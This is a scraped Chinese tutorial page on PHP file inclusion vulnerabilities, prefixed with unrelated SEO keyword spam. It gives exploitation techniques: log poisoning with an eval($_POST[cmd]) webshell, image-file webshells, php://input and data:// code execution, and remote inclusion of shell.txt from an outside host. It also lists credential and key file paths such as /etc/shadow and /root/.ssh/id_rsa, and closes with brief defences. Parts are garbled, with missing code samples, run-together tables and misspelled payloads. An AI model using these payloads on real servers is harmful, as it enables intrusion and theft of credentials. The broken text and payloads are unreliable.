jsp网站建设项目实战课后,注册个人网站域名top,企业网站首页布局尺寸,期货贵金属网站源码建设目录 一、介绍
二、常见文件包含函数
三、文件包含漏洞代码举例分析
四、文件包含漏洞利用方式
4.1 本地文件包含
1、读取敏感文件
2、文件包含可运行的php代码
①包含图片码
②包含日志文件
③包含环境变量getshell
④临时文件包含
⑤伪协议
4.2 远程文件包含
4.…目录 一、介绍
二、常见文件包含函数
三、文件包含漏洞代码举例分析
四、文件包含漏洞利用方式
4.1 本地文件包含
1、读取敏感文件
2、文件包含可运行的php代码
①包含图片码
②包含日志文件
③包含环境变量getshell
④临时文件包含
⑤伪协议
4.2 远程文件包含
4.3 文件包含常用路径 五、文件包含漏洞防护 一、介绍
程序在引用文件的时引用的文件名用户可控的情况传入的文件名没有经过合理的校验或校验不严从而操作了预想之外的文件就有可能导致文件泄漏和恶意的代码注入。 程序开发人员一般会把重复使用的函数写到单个文件中需要使用某个函数时直接调用此文件而无需再次编写这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活所以将被包含的文件设置为变量用来进行动态调用但正是由于这种灵活性从而导致客户端可以调用一个恶意文件造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能但文件包含漏洞在PHPWebApplication 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少甚至没有这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞但这并不意味这其他语言不存在。 二、常见文件包含函数
以php为例
require():找不到被包含的文件会产生致命错误并停止脚本运行include():找不到被包含的文件只会产生警告脚本继续执行require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含
三、文件包含漏洞代码举例分析 上述代码中$_GET[filename]来自客户的get请求参数并且其中没有做任何的检测过滤直接带入到include包含这个文件导致造成文件包含漏洞
四、文件包含漏洞利用方式
4.1 本地文件包含
本地包含文件被包含的文件在服务器
1、读取敏感文件
比如包含敏感文件/etc/passwd ../是上一级路径。如果存在漏洞文件又存在的时候不是php 文件会被读取显示在页面中这里我操作系统是windows所以不存在这个文件 2、文件包含可运行的php代码 ①包含图片码
寻找网站上传点把 php 恶意代码文件改成 jpg 上传到网站上本地包含引入恶意代码当文件被引入后代码就被执行。 保存为 shell.jpg 上传图片格式到网站 再用文件包含漏洞引入图片 成功执行代码 ②包含日志文件
中间件例如 iis 、apache、nginx 这些 web 中间件都会记录访问日志如果访问日志中或错误日志中存在有 php 代码也可以引入到文件包含中。如果日志 有 php 恶意代码也可导致 getshell。
更多日志文件路径参考应急响应之日志收集_dayouziei的博客-CSDN博客 首先get请求下网站 ?php phpinfo();eval($_POST[cmd]);? 在中间件日志中会有这条记录我这里被编码了 文件包含漏洞中包含这个文件即可需要有访问这个文件的权限 ③包含环境变量getshell
修改 User-Agen 填写 php 代码 在linux 中/proc/self/environ 这个文件里保存了系统的一些变量如果权限足够包含这个文件也可执行脚本 ④临时文件包含
phpinfo会打印上传缓存文件路径如果目标网站有phpinfo的页面我们可以向该页面POST一个文件在phpinfo页面中抓取缓存文件路径在利用时间竞争就可以执行我们的恶意代码 PHP的POST临时文件机制 我们对任意一个PHP文件发送一个上传的数据包时不管这个PHP服务后端是否有处理$_FILES的逻辑PHP都会将用户上传的数据先保存到一个临时文件中这个文件一般位于系统临时目录文件名是php开头后面跟6个随机字符在整个PHP文件执行完毕后这些上传的临时文件就会被清理掉。 该文件默认存储在 /tmp 目录中『可通过 php.ini 的 upload_tmp_dir 指定存储位置』 文件名为 php[6个随机字符]例phpG4ef0q 若本次请求正常结束临时文件会被自动删除 若非正常结束比如崩溃临时文件可能会被永久保留 ⑤伪协议
PHP内置了很多URL风格的封装协议可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数 常见的伪协议 file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流I/O streamszlib:// — 压缩流data:// — 数据RFC 2397glob:// — 查找匹配的文件路径模式phar:// — PHP 归档ssh2:// — Secure Shell 2rar:// — RARogg:// — 音频流expect:// — 处理交互式的流 php.ini 参数设置 在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件各协议的利用条件和方法 协议测试php版本allow_url_fopenallow_url_include用法file://5.2off/onoff/on?filefile://D:/phpstudy/www/index.phpphp://filter5.2off/onoff/on?filephp://filter/readconver.base64-encode/resouece./index.phpphp://input5.2off/onon?filephp://input [POST DATA] ?phpinfo();?zip://5.2off/onoff/on?filezip://d:/phpstudy/www/file.zip%23test.phpcompress.bzip2://5.2off/onoff/on?filecompress.bzip2://D:/phpstudy/www/file.bz2compress.zlib://5.2off/onoff/on?filecompress.zlib://D:/phpstudy/www/file.gzdata://5.2onon?filedata://text/plain,?phpinfo();? file://协议
file:// 用于访问本地文件系统在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
file:// [文件的绝对路径和文件名]
php://协议
php:// 访问各个输入/输出流I/O streams在CTF中经常使用的是php://filter和php://inputphp://filter用于读取源码。php://input用于执行php代码。 php://filter 读取源代码并进行base64编码输出不然会直接当做php代码执行就看不到源代码内容了。利用条件: allow_url_fopen off/onallow_url_includeoff/on zip://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。 要用#分割压缩包和压缩包里的内容并且#要用url编码成%23(即下述POC中#要用%23替换 只需要是zip的压缩包即可后缀名可以任意更改。 相同的类型还有zlib://和bzip2:// 利用条件: allow_url_fopen off/onallow_url_includeoff/on data://协议
data:// 同样类似与php://input可以让用户来控制输入流当它与包含函数结合时用户输入的data://流会被当作php文件执行。从而导致任意代码执行。 利用data:// 伪协议可以直接达到执行php代码的效果例如执行phpinfo()函数 利用条件: allow_url_fopen on allow_url_includeon 4.2 远程文件包含
当远程文件开启时可以包含远程文件到本地执行。当allow_url_fopenOnallow_url_includeON 两个条件同时为 On
http://127.0.0.1/lfi.php?filehttp://10.10.10.10/shell.txt 4.3 文件包含常用路径
包含日志文件 /usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log 读取网站配置文件 dedecms 数据库配置文件 data/common.inc.php, discuz 全局配置文件 config/config_global.php, phpcms 配置文件 caches/configs/database.php phpwind 配置文件 conf/database.php wordpress 配置文件 wp-config.php 包含系统配置文件 windows C:/boot.ini//查看系统版本 C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件C:/Windows/repairsam//存储系统初次安装的密码 C:/Program Files/mysql/my.ini//Mysql 配置 C:/Program Files/mysql/data/mysql/user.MYD//Mysql root C:/Windows/php.ini//php 配置信息 C:/Windows/my.ini//Mysql 配置信息linux /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz 五、文件包含漏洞防护
1、使用str_replace等方法过滤掉危险字符2、配置open_basedir防止目录遍历open_basedir 将php所能打开的文件限制在指定的目录树中3、php版本升级防止%00截断4、对上传的文件进行重命名防止被读取5、对于动态包含的文件可以设置一个白名单不读取非白名单的文件。6、做好管理员权限划分做好文件的权限管理allow_url_include和allow_url_fopen最小权限化